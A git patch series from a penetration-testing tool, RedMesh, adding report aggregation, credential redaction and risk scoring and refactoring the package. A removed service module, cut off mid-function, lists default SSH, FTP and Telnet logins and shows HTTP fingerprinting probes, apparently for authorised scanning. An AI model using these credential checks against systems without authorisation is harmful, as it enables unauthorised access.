if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) - - progress = WorkerProgress( - job_id=job_id, - worker_addr=ee_addr, - pass_nr=pass_nr, - progress=progress_pct, - phase=phase, - ports_scanned=total_scanned, - ports_total=total_ports, - open_ports_found=sorted(all_open), - completed_tests=sorted(all_tests), - updated_at=now, - live_metrics=merged_metrics, - threads=thread_entries if len(thread_entries) > 1 else None, - ) - self.chainstore_hset( - hkey=live_hkey, - key=f"{job_id}:{ee_addr}", - value=progress.to_dict(), - ) - - def _clear_live_progress(self, job_id, worker_addresses): - """ - Remove live progress keys for a completed job. - - Parameters - ---------- - job_id : str - Job identifier. - worker_addresses : list[str] - Worker addresses whose progress keys should be removed. - """ - live_hkey = f"{self.cfg_instance_id}:live" - for addr in worker_addresses: - self.chainstore_hset( - hkey=live_hkey, - key=f"{job_id}:{addr}", - value=None, # delete - ) - def process(self): """ Periodic task handler: launch new jobs and close completed ones. diff --git a/extensions/business/cybersec/red_mesh/report_mixin.py b/extensions/business/cybersec/red_mesh/report_mixin.py new file mode 100644 index 00000000..80df4e0f --- /dev/null +++ b/extensions/business/cybersec/red_mesh/report_mixin.py @@ -0,0 +1,238 @@ +""" +Report aggregation mixin for RedMesh pentester API. + +Handles merging worker results, credential redaction, and pre-computing +the UI aggregate view for the frontend. +""" + +from .pentest_worker import PentestLocalWorker +from .models import UiAggregate + + +class _ReportMixin: + """Report aggregation and UI view methods for PentesterApi01Plugin.""" + + SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} + CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} + + def _get_aggregated_report(self, local_jobs): + """ + Aggregate results from multiple local workers. + + Parameters + ---------- + local_jobs : dict + Mapping of worker id to result dicts. + + Returns + ------- + dict + Aggregated report with merged open ports, service info, etc. + """ + dct_aggregated_report = {} + type_or_func, field = None, None + try: + if local_jobs: + self.P(f"Aggregating reports from {len(local_jobs)} local jobs...") + for local_worker_id, local_job_status in local_jobs.items(): + aggregation_fields = PentestLocalWorker.get_worker_specific_result_fields() + for field in local_job_status: + if field not in dct_aggregated_report: + dct_aggregated_report[field] = local_job_status[field] + elif field in aggregation_fields: + type_or_func = aggregation_fields[field] + if field not in dct_aggregated_report: + field_type = type(local_job_status[field]) + dct_aggregated_report[field] = field_type() + #endif + if isinstance(dct_aggregated_report[field], list): + existing = set(dct_aggregated_report[field]) + merged = existing.union(local_job_status[field]) + try: + dct_aggregated_report[field] = sorted(merged) + except TypeError: + dct_aggregated_report[field] = list(merged) + elif isinstance(dct_aggregated_report[field], dict): + dct_aggregated_report[field] = self.merge_objects_deep( + dct_aggregated_report[field], + local_job_status[field]) + else: + _existing = dct_aggregated_report[field] + _new = local_job_status[field] + dct_aggregated_report[field] = type_or_func([_existing, _new]) + # end if aggregation type + # end if standard (one time) or aggregated fields + # for each field in this local job + # for each local job + self.P(f"Report aggregation done.") + # endif we have local jobs + except Exception as exc: + self.P("Error during report aggregation: {}:\n{}\n{}\ntype_or_func={}, field={}".format( + exc, self.trace_info(), + self.json_dumps(dct_aggregated_report, indent=2), + type_or_func, field + )) + return dct_aggregated_report + + def merge_objects_deep(self, obj_a, obj_b): + """ + Deeply merge two objects (dicts, lists, sets). + + Parameters + ---------- + obj_a : Any + First object. + obj_b : Any + Second object. + + Returns + ------- + Any + Merged object. + """ + if isinstance(obj_a, dict) and isinstance(obj_b, dict): + merged = dict(obj_a) + for key, value_b in obj_b.items(): + if key in merged: + merged[key] = self.merge_objects_deep(merged[key], value_b) + else: + merged[key] = value_b + return merged + elif isinstance(obj_a, list) and isinstance(obj_b, list): + try: + return list(set(obj_a).union(set(obj_b))) + except TypeError: + import json as _json + seen = set() + merged = [] + for item in obj_a + obj_b: + try: + key = _json.dumps(item, sort_keys=True, default=str) + except (TypeError, ValueError): + key = id(item) + if key not in seen: + seen.add(key) + merged.append(item) + return merged + elif isinstance(obj_a, set) and isinstance(obj_b, set): + return obj_a.union(obj_b) + else: + return obj_b # Prefer obj_b in case of conflict + + def _redact_report(self, report): + """ + Redact credentials from a report before persistence. + + Deep-copies the report and masks password values in findings and + accepted_credentials lists so that sensitive data is not written + to R1FS or CStore. + + Parameters + ---------- + report : dict + Aggregated scan report. + + Returns + ------- + dict + Redacted copy of the report. + """ + import re as _re + from copy import deepcopy + redacted = deepcopy(report) + service_info = redacted.get("service_info", {}) + for port_key, methods in service_info.items(): + if not isinstance(methods, dict): + continue + for method_key, method_data in methods.items(): + if not isinstance(method_data, dict): + continue + # Redact findings evidence + for finding in method_data.get("findings", []): + if not isinstance(finding, dict): + continue + evidence = finding.get("evidence", "") + if isinstance(evidence, str): + evidence = _re.sub( + r'(Accepted credential:\s*\S+?):(\S+)', + r'\1:***', evidence + ) + evidence = _re.sub( + r'(Accepted random creds\s*\S+?):(\S+)', + r'\1:***', evidence + ) + finding["evidence"] = evidence + # Redact accepted_credentials lists + creds = method_data.get("accepted_credentials", []) + if isinstance(creds, list): + method_data["accepted_credentials"] = [ + _re.sub(r'^(\S+?):(.+)$', r'\1:***', c) if isinstance(c, str) else c + for c in creds + ] + return redacted + + def _compute_ui_aggregate(self, passes, latest_aggregated): + """Compute pre-aggregated view for frontend from pass reports. + + Parameters + ---------- + passes : list + List of pass report dicts (PassReport.to_dict()). + latest_aggregated : dict + AggregatedScanData dict for the latest pass. + + Returns + ------- + UiAggregate + """ + from collections import Counter + + latest = passes[-1] + agg = latest_aggregated + findings = latest.get("findings", []) or [] + + # Severity breakdown + findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) + + # Top findings: CRITICAL + HIGH, sorted by severity then confidence, capped at 10 + crit_high = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH")] + crit_high.sort(key=lambda f: ( + self.SEVERITY_ORDER.get(f.get("severity"), 9), + self.CONFIDENCE_ORDER.get(f.get("confidence"), 9), + )) + top_findings = crit_high[:10] + + # Finding timeline: track persistence across passes (continuous monitoring) + finding_timeline = {} + for p in passes: + pass_nr = p.get("pass_nr", 0) + for f in (p.get("findings") or []): + fid = f.get("finding_id") + if not fid: + continue + if fid not in finding_timeline: + finding_timeline[fid] = {"first_seen": pass_nr, "last_seen": pass_nr, "pass_count": 1} + else: + finding_timeline[fid]["last_seen"] = pass_nr + finding_timeline[fid]["pass_count"] += 1 + + return UiAggregate( + total_open_ports=sorted(set(agg.get("open_ports", []))), + total_services=self._count_services(agg.get("service_info", {})), + total_findings=len(findings), + findings_count=findings_count if findings_count else None, + top_findings=top_findings if top_findings else None, + finding_timeline=finding_timeline if finding_timeline else None, + latest_risk_score=latest.get("risk_score"), + latest_risk_breakdown=latest.get("risk_breakdown"), + latest_quick_summary=latest.get("quick_summary"), + worker_activity=[ + { + "id": addr, + "start_port": w["start_port"], + "end_port": w["end_port"], + "open_ports": w.get("open_ports", []), + } + for addr, w in (latest.get("worker_reports") or {}).items() + ] or None, + ) diff --git a/extensions/business/cybersec/red_mesh/risk_mixin.py b/extensions/business/cybersec/red_mesh/risk_mixin.py new file mode 100644 index 00000000..4ab143f5 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/risk_mixin.py @@ -0,0 +1,309 @@ +""" +Risk scoring mixin for RedMesh pentester API. + +Pure computation — takes aggregated scan reports and produces risk scores +(0-100) with breakdowns and flat findings lists. No CStore or R1FS access. +""" + +from .constants import ( + RISK_SEVERITY_WEIGHTS, + RISK_CONFIDENCE_MULTIPLIERS, + RISK_SIGMOID_K, + RISK_CRED_PENALTY_PER, + RISK_CRED_PENALTY_CAP, +) + + +class _RiskScoringMixin: + """Risk scoring and findings extraction methods for PentesterApi01Plugin.""" + + def _compute_risk_score(self, aggregated_report): + """ + Compute a 0-100 risk score from an aggregated scan report. + + The score combines four components: + A. Finding severity (weighted by confidence) + B. Open ports (diminishing returns) + C. Attack surface breadth (distinct protocols) + D. Default credentials penalty + + Parameters + ---------- + aggregated_report : dict + Aggregated report with service_info, web_tests_info, correlation_findings, + open_ports, and port_protocols. + + Returns + ------- + dict + ``{"score": int, "breakdown": dict}`` + """ + import math + + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + + def process_findings(findings_list): + nonlocal findings_score, cred_count + for finding in findings_list: + if not isinstance(finding, dict): + continue + severity = finding.get("severity", "INFO").upper() + confidence = finding.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = finding.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + + # A. Iterate service_info findings + service_info = aggregated_report.get("service_info", {}) + for port_key, probes in service_info.items(): + if not isinstance(probes, dict): + continue + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + process_findings(probe_data.get("findings", [])) + + # A. Iterate web_tests_info findings + web_tests_info = aggregated_report.get("web_tests_info", {}) + for port_key, tests in web_tests_info.items(): + if not isinstance(tests, dict): + continue + for test_name, test_data in tests.items(): + if not isinstance(test_data, dict): + continue + process_findings(test_data.get("findings", [])) + + # A. Iterate correlation_findings + correlation_findings = aggregated_report.get("correlation_findings", []) + if isinstance(correlation_findings, list): + process_findings(correlation_findings) + + # B. Open ports — diminishing returns: 15 × (1 - e^(-ports/8)) + open_ports = aggregated_report.get("open_ports", []) + nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 + open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) + + # C. Attack surface breadth — distinct protocols: 10 × (1 - e^(-protocols/4)) + port_protocols = aggregated_report.get("port_protocols", {}) + nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 + breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) + + # D. Default credentials penalty + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + + # Raw total + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty + + # Normalize to 0-100 via logistic curve + score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) + score = max(0, min(100, score)) + + return { + "score": score, + "breakdown": { + "findings_score": round(findings_score, 1), + "open_ports_score": round(open_ports_score, 1), + "breadth_score": round(breadth_score, 1), + "credentials_penalty": credentials_penalty, + "raw_total": round(raw_total, 1), + "finding_counts": finding_counts, + }, + } + + def _compute_risk_and_findings(self, aggregated_report): + """ + Compute risk score AND extract flat findings in a single walk. + + Extends _compute_risk_score to also produce a flat list of enriched + findings from the nested service_info/web_tests_info/correlation structure. + + Parameters + ---------- + aggregated_report : dict + Aggregated report with service_info, web_tests_info, etc. + + Returns + ------- + tuple[dict, list] + (risk_result, flat_findings) where risk_result is {"score": int, "breakdown": dict} + and flat_findings is a list of enriched finding dicts. + """ + import hashlib + import math + + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + flat_findings = [] + + port_protocols = aggregated_report.get("port_protocols") or {} + + def process_findings(findings_list, port, probe_name, category): + nonlocal findings_score, cred_count + for finding in findings_list: + if not isinstance(finding, dict): + continue + severity = finding.get("severity", "INFO").upper() + confidence = finding.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = finding.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + + # Build deterministic finding_id + canon_title = (finding.get("title") or "").lower().strip() + cwe = finding.get("cwe_id", "") + id_input = f"{port}:{probe_name}:{cwe}:{canon_title}" + finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] + + protocol = port_protocols.get(str(port), "unknown") + + flat_findings.append({ + "finding_id": finding_id, + **{k: v for k, v in finding.items()}, + "port": port, + "protocol": protocol, + "probe": probe_name, + "category": category, + }) + + def parse_port(port_key): + """Extract integer port from keys like '80/tcp' or '80'.""" + try: + return int(str(port_key).split("/")[0]) + except (ValueError, IndexError): + return 0 + + # Walk service_info + service_info = aggregated_report.get("service_info", {}) + for port_key, probes in service_info.items(): + if not isinstance(probes, dict): + continue + port = parse_port(port_key) + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + process_findings(probe_data.get("findings", []), port, probe_name, "service") + + # Walk web_tests_info + web_tests_info = aggregated_report.get("web_tests_info", {}) + for port_key, tests in web_tests_info.items(): + if not isinstance(tests, dict): + continue + port = parse_port(port_key) + for test_name, test_data in tests.items(): + if not isinstance(test_data, dict): + continue + process_findings(test_data.get("findings", []), port, test_name, "web") + + # Walk correlation_findings + correlation_findings = aggregated_report.get("correlation_findings", []) + if isinstance(correlation_findings, list): + process_findings(correlation_findings, 0, "_correlation", "correlation") + + # B. Open ports — diminishing returns + open_ports = aggregated_report.get("open_ports", []) + nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 + open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) + + # C. Attack surface breadth + nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 + breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) + + # D. Default credentials penalty + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + + # Deduplicate CVE findings: when the same CVE appears on the same port + # from different probes (behavioral + version-based), keep the higher + # confidence detection and drop the duplicate. + import re as _re_dedup + CONFIDENCE_RANK = {"certain": 3, "firm": 2, "tentative": 1} + cve_best = {} # (cve_id, port) -> index of best finding + drop_indices = set() + for idx, f in enumerate(flat_findings): + title = f.get("title", "") + m = _re_dedup.search(r"CVE-\d{4}-\d+", title) + if not m: + continue + cve_id = m.group(0) + port = f.get("port", 0) + key = (cve_id, port) + conf = CONFIDENCE_RANK.get(f.get("confidence", "tentative"), 0) + if key in cve_best: + prev_idx = cve_best[key] + prev_conf = CONFIDENCE_RANK.get(flat_findings[prev_idx].get("confidence", "tentative"), 0) + if conf > prev_conf: + drop_indices.add(prev_idx) + cve_best[key] = idx + else: + drop_indices.add(idx) + else: + cve_best[key] = idx + + if drop_indices: + flat_findings = [f for i, f in enumerate(flat_findings) if i not in drop_indices] + # Recalculate scores after dedup + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + for f in flat_findings: + severity = f.get("severity", "INFO").upper() + confidence = f.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = f.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty + score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) + score = max(0, min(100, score)) + + risk_result = { + "score": score, + "breakdown": { + "findings_score": round(findings_score, 1), + "open_ports_score": round(open_ports_score, 1), + "breadth_score": round(breadth_score, 1), + "credentials_penalty": credentials_penalty, + "raw_total": round(raw_total, 1), + "finding_counts": finding_counts, + }, + } + return risk_result, flat_findings + + def _count_services(self, service_info): + """Count ports that have at least one identified service. + + Parameters + ---------- + service_info : dict + Port-keyed service info dict from aggregated scan data. + + Returns + ------- + int + Number of ports with detected services. + """ + if not isinstance(service_info, dict): + return 0 + count = 0 + for port_key, probes in service_info.items(): + if isinstance(probes, dict) and len(probes) > 0: + count += 1 + return count From 170e7c08a4ca3400bc3ae377fb8e0823a39f6b7a Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 15:46:50 +0000 Subject: [PATCH 044/114] refactor: split code in mixins | split tests --- .../cybersec/red_mesh/mixins/__init__.py | 13 + .../attestation.py} | 2 +- .../live_progress.py} | 4 +- .../llm_agent.py} | 2 +- .../{report_mixin.py => mixins/report.py} | 4 +- .../{risk_mixin.py => mixins/risk.py} | 2 +- .../cybersec/red_mesh/pentester_api_01.py | 11 +- .../cybersec/red_mesh/service_mixin.py | 5761 ----------------- .../cybersec/red_mesh/tests/__init__.py | 0 .../cybersec/red_mesh/tests/conftest.py | 60 + .../cybersec/red_mesh/tests/test_api.py | 1354 ++++ .../red_mesh/tests/test_integration.py | 976 +++ .../{test_redmesh.py => tests/test_probes.py} | 2708 +------- .../business/cybersec/red_mesh/web_mixin.py | 14 - .../cybersec/red_mesh/worker/__init__.py | 4 + .../correlation.py} | 2 +- .../{ => worker}/metrics_collector.py | 2 +- .../red_mesh/{ => worker}/pentest_worker.py | 8 +- .../red_mesh/worker/service/__init__.py | 15 + .../cybersec/red_mesh/worker/service/_base.py | 25 + .../red_mesh/worker/service/common.py | 1716 +++++ .../red_mesh/worker/service/database.py | 1305 ++++ .../red_mesh/worker/service/infrastructure.py | 2024 ++++++ .../cybersec/red_mesh/worker/service/tls.py | 744 +++ .../cybersec/red_mesh/worker/web/__init__.py | 14 + .../web/api_exposure.py} | 2 +- .../web/discovery.py} | 4 +- .../web/hardening.py} | 2 +- .../web/injection.py} | 2 +- 29 files changed, 8442 insertions(+), 8338 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/mixins/__init__.py rename extensions/business/cybersec/red_mesh/{attestation_mixin.py => mixins/attestation.py} (99%) rename extensions/business/cybersec/red_mesh/{live_progress_mixin.py => mixins/live_progress.py} (98%) rename extensions/business/cybersec/red_mesh/{redmesh_llm_agent_mixin.py => mixins/llm_agent.py} (99%) rename extensions/business/cybersec/red_mesh/{report_mixin.py => mixins/report.py} (99%) rename extensions/business/cybersec/red_mesh/{risk_mixin.py => mixins/risk.py} (99%) delete mode 100644 extensions/business/cybersec/red_mesh/service_mixin.py create mode 100644 extensions/business/cybersec/red_mesh/tests/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/tests/conftest.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_api.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_integration.py rename extensions/business/cybersec/red_mesh/{test_redmesh.py => tests/test_probes.py} (61%) delete mode 100644 extensions/business/cybersec/red_mesh/web_mixin.py create mode 100644 extensions/business/cybersec/red_mesh/worker/__init__.py rename extensions/business/cybersec/red_mesh/{correlation_mixin.py => worker/correlation.py} (99%) rename extensions/business/cybersec/red_mesh/{ => worker}/metrics_collector.py (99%) rename extensions/business/cybersec/red_mesh/{ => worker}/pentest_worker.py (99%) create mode 100644 extensions/business/cybersec/red_mesh/worker/service/__init__.py create mode 100644 extensions/business/cybersec/red_mesh/worker/service/_base.py create mode 100644 extensions/business/cybersec/red_mesh/worker/service/common.py create mode 100644 extensions/business/cybersec/red_mesh/worker/service/database.py create mode 100644 extensions/business/cybersec/red_mesh/worker/service/infrastructure.py create mode 100644 extensions/business/cybersec/red_mesh/worker/service/tls.py create mode 100644 extensions/business/cybersec/red_mesh/worker/web/__init__.py rename extensions/business/cybersec/red_mesh/{web_api_mixin.py => worker/web/api_exposure.py} (99%) rename extensions/business/cybersec/red_mesh/{web_discovery_mixin.py => worker/web/discovery.py} (99%) rename extensions/business/cybersec/red_mesh/{web_hardening_mixin.py => worker/web/hardening.py} (99%) rename extensions/business/cybersec/red_mesh/{web_injection_mixin.py => worker/web/injection.py} (99%) diff --git a/extensions/business/cybersec/red_mesh/mixins/__init__.py b/extensions/business/cybersec/red_mesh/mixins/__init__.py new file mode 100644 index 00000000..ec68a976 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/mixins/__init__.py @@ -0,0 +1,13 @@ +from .attestation import _AttestationMixin +from .risk import _RiskScoringMixin +from .report import _ReportMixin +from .live_progress import _LiveProgressMixin +from .llm_agent import _RedMeshLlmAgentMixin + +__all__ = [ + "_AttestationMixin", + "_RiskScoringMixin", + "_ReportMixin", + "_LiveProgressMixin", + "_RedMeshLlmAgentMixin", +] diff --git a/extensions/business/cybersec/red_mesh/attestation_mixin.py b/extensions/business/cybersec/red_mesh/mixins/attestation.py similarity index 99% rename from extensions/business/cybersec/red_mesh/attestation_mixin.py rename to extensions/business/cybersec/red_mesh/mixins/attestation.py index 4215b897..94d5b804 100644 --- a/extensions/business/cybersec/red_mesh/attestation_mixin.py +++ b/extensions/business/cybersec/red_mesh/mixins/attestation.py @@ -8,7 +8,7 @@ import ipaddress from urllib.parse import urlparse -from .constants import RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING +from ..constants import RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING class _AttestationMixin: diff --git a/extensions/business/cybersec/red_mesh/live_progress_mixin.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py similarity index 98% rename from extensions/business/cybersec/red_mesh/live_progress_mixin.py rename to extensions/business/cybersec/red_mesh/mixins/live_progress.py index 7eeff542..063d103d 100644 --- a/extensions/business/cybersec/red_mesh/live_progress_mixin.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -5,8 +5,8 @@ and merging of scan metrics across worker threads. """ -from .models import WorkerProgress -from .constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER +from ..models import WorkerProgress +from ..constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER def _thread_phase(state): diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py similarity index 99% rename from extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py rename to extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 770b8cc0..6abc8cf3 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -12,7 +12,7 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): import requests from typing import Optional -from .constants import RUN_MODE_SINGLEPASS +from ..constants import RUN_MODE_SINGLEPASS class _RedMeshLlmAgentMixin(object): diff --git a/extensions/business/cybersec/red_mesh/report_mixin.py b/extensions/business/cybersec/red_mesh/mixins/report.py similarity index 99% rename from extensions/business/cybersec/red_mesh/report_mixin.py rename to extensions/business/cybersec/red_mesh/mixins/report.py index 80df4e0f..54357e29 100644 --- a/extensions/business/cybersec/red_mesh/report_mixin.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -5,8 +5,8 @@ the UI aggregate view for the frontend. """ -from .pentest_worker import PentestLocalWorker -from .models import UiAggregate +from ..worker import PentestLocalWorker +from ..models import UiAggregate class _ReportMixin: diff --git a/extensions/business/cybersec/red_mesh/risk_mixin.py b/extensions/business/cybersec/red_mesh/mixins/risk.py similarity index 99% rename from extensions/business/cybersec/red_mesh/risk_mixin.py rename to extensions/business/cybersec/red_mesh/mixins/risk.py index 4ab143f5..b222b574 100644 --- a/extensions/business/cybersec/red_mesh/risk_mixin.py +++ b/extensions/business/cybersec/red_mesh/mixins/risk.py @@ -5,7 +5,7 @@ (0-100) with breakdowns and flat findings lists. No CStore or R1FS access. """ -from .constants import ( +from ..constants import ( RISK_SEVERITY_WEIGHTS, RISK_CONFIDENCE_MULTIPLIERS, RISK_SIGMOID_K, diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 0cb611e5..75d5b987 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -33,12 +33,11 @@ import random from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin -from .pentest_worker import PentestLocalWorker -from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .attestation_mixin import _AttestationMixin -from .risk_mixin import _RiskScoringMixin -from .report_mixin import _ReportMixin -from .live_progress_mixin import _LiveProgressMixin +from .worker import PentestLocalWorker +from .mixins import ( + _RedMeshLlmAgentMixin, _AttestationMixin, _RiskScoringMixin, + _ReportMixin, _LiveProgressMixin, +) from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, CStoreJobFinalized, JobArchive, WorkerProgress, diff --git a/extensions/business/cybersec/red_mesh/service_mixin.py b/extensions/business/cybersec/red_mesh/service_mixin.py deleted file mode 100644 index 59fe5a32..00000000 --- a/extensions/business/cybersec/red_mesh/service_mixin.py +++ /dev/null @@ -1,5761 +0,0 @@ -import random -import re as _re -import socket -import struct -import ftplib -import requests -import ssl -from datetime import datetime - -import paramiko - -from .findings import Finding, Severity, probe_result, probe_error -from .cve_db import check_cves - -# Default credentials commonly found on exposed SSH services. -# Kept intentionally small — this is a quick check, not a brute-force. -_SSH_DEFAULT_CREDS = [ - ("root", "root"), - ("root", "toor"), - ("root", "password"), - ("admin", "admin"), - ("admin", "password"), - ("user", "user"), - ("test", "test"), -] - -# Default credentials for FTP services. -_FTP_DEFAULT_CREDS = [ - ("root", "root"), - ("admin", "admin"), - ("admin", "password"), - ("ftp", "ftp"), - ("user", "user"), - ("test", "test"), -] - -# Default credentials for Telnet services. -_TELNET_DEFAULT_CREDS = [ - ("root", "root"), - ("root", "toor"), - ("root", "password"), - ("admin", "admin"), - ("admin", "password"), - ("user", "user"), - ("test", "test"), -] - -_HTTP_SERVER_RE = _re.compile( - r'(Apache|nginx)[/ ]+(\d+(?:\.\d+)+)', _re.IGNORECASE, -) -_HTTP_PRODUCT_MAP = {'apache': 'apache', 'nginx': 'nginx'} - - -class _ServiceInfoMixin: - """ - Network service banner probes feeding RedMesh reports. - - Each helper focuses on a specific protocol and maps findings to - OWASP vulnerability families. The mixin is intentionally light-weight so - that `PentestLocalWorker` threads can run without heavy dependencies while - still surfacing high-signal clues. - """ - - def _emit_metadata(self, category, key_or_item, value=None): - """Safely append to scan_metadata sub-dicts without crashing if state is uninitialized.""" - meta = self.state.get("scan_metadata") - if meta is None: - return - bucket = meta.get(category) - if bucket is None: - return - if isinstance(bucket, dict): - bucket[key_or_item] = value - elif isinstance(bucket, list): - bucket.append(key_or_item) - - def _service_info_http(self, target, port): # default port: 80 - """ - Assess HTTP service: server fingerprint, technology detection, - dangerous HTTP methods, and page title extraction. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - import re as _re - - findings = [] - scheme = "https" if port in (443, 8443) else "http" - url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - result = { - "banner": None, - "server": None, - "title": None, - "technologies": [], - "dangerous_methods": [], - } - - # --- 1. GET request — banner, server, title, tech fingerprint --- - try: - self.P(f"Fetching {url} for banner...") - ua = getattr(self, 'scanner_user_agent', '') - headers = {'User-Agent': ua} if ua else {} - resp = requests.get(url, timeout=5, verify=False, allow_redirects=True, headers=headers) - - result["banner"] = f"HTTP {resp.status_code} {resp.reason}" - result["server"] = resp.headers.get("Server") - if result["server"]: - self._emit_metadata("server_versions", port, result["server"]) - if result["server"]: - _m = _HTTP_SERVER_RE.search(result["server"]) - if _m: - _cve_product = _HTTP_PRODUCT_MAP.get(_m.group(1).lower()) - if _cve_product: - findings += check_cves(_cve_product, _m.group(2)) - powered_by = resp.headers.get("X-Powered-By") - - # Page title - title_match = _re.search( - r"(.*?)", resp.text[:5000], _re.IGNORECASE | _re.DOTALL - ) - if title_match: - result["title"] = title_match.group(1).strip()[:100] - - # Technology fingerprinting - body_lower = resp.text[:8000].lower() - tech_signatures = { - "WordPress": ["wp-content", "wp-includes"], - "Joomla": ["com_content", "/media/jui/"], - "Drupal": ["drupal.js", "sites/default/files"], - "Django": ["csrfmiddlewaretoken"], - "PHP": [".php", "phpsessid"], - "ASP.NET": ["__viewstate", ".aspx"], - "React": ["_next/", "__next_data__", "react"], - } - techs = [] - if result["server"]: - techs.append(result["server"]) - if powered_by: - techs.append(powered_by) - for tech, markers in tech_signatures.items(): - if any(m in body_lower for m in markers): - techs.append(tech) - result["technologies"] = techs - - except Exception as e: - # HTTP library failed (e.g. empty reply, connection reset). - # Fall back to raw socket probe — try HTTP/1.0 without Host header - # (some servers like nginx drop requests with unrecognized Host values). - try: - _s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - _s.settimeout(3) - _s.connect((target, port)) - # Use HTTP/1.0 without Host — matches nmap's GetRequest probe - _s.send(b"GET / HTTP/1.0\r\n\r\n") - _raw = b"" - while True: - chunk = _s.recv(4096) - if not chunk: - break - _raw += chunk - if len(_raw) > 16384: - break - _s.close() - _raw_str = _raw.decode("utf-8", errors="ignore") - if _raw_str: - lines = _raw_str.split("\r\n") - result["banner"] = lines[0].strip() if lines else "unknown" - for line in lines[1:]: - low = line.lower() - if low.startswith("server:"): - result["server"] = line.split(":", 1)[1].strip() - break - # Report that the server drops Host-header requests - findings.append(Finding( - severity=Severity.INFO, - title="HTTP service drops requests with Host header", - description=f"TCP port {port} returns empty replies for standard HTTP/1.1 " - "requests but responds to HTTP/1.0 without a Host header. " - "This indicates a server_name mismatch or intentional filtering.", - evidence=f"HTTP/1.1 with Host:{target} → empty reply; " - f"HTTP/1.0 without Host → {result['banner']}", - remediation="Configure a proper default server block or virtual host.", - cwe_id="CWE-200", - confidence="certain", - )) - # Check for directory listing in response body - body_start = _raw_str.find("\r\n\r\n") - if body_start > -1: - body = _raw_str[body_start + 4:] 